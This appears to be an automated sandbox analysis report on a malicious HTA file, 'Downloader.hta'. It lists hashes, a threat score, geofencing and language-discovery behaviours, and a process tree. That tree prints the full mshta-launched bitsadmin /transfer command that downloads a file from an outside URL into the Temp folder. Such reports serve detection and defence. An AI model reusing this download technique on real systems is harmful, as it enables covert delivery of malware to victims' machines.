Analysis

  • max time kernel
    131s
  • max time network
    205s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-08-2024 15:13

General

  • Target

    Downloader.hta

  • Size

    828B

  • MD5

    05a34f1fc75cc308ee7dd8a6dc3e4076

  • SHA1

    eda4d95a33dde083ede19f8d9d4099764fa1a326

  • SHA256

    a536c510d65bb3cfd573a05e0107ab46f427f804431970ecb18c7f173a9ccafd

  • SHA512

    f02ddc254688bd5a4e069203f34fdffbc3905dc446aaed3578fa6f574e955788cb5416ee15bfb5acab970249c6c7563a6ef903cac4189bcc937ac9072f6c4612

Score
8/10

Malware Config

Signatures

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://go.enderman.ch/youtube C:\Users\Admin\AppData\Local\Temp\sex
      2⤵
      • Download via BitsAdmin
      • System Location Discovery: System Language Discovery
      PID:2984

Network

MITRE ATT&CK Enterprise v15

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Downloads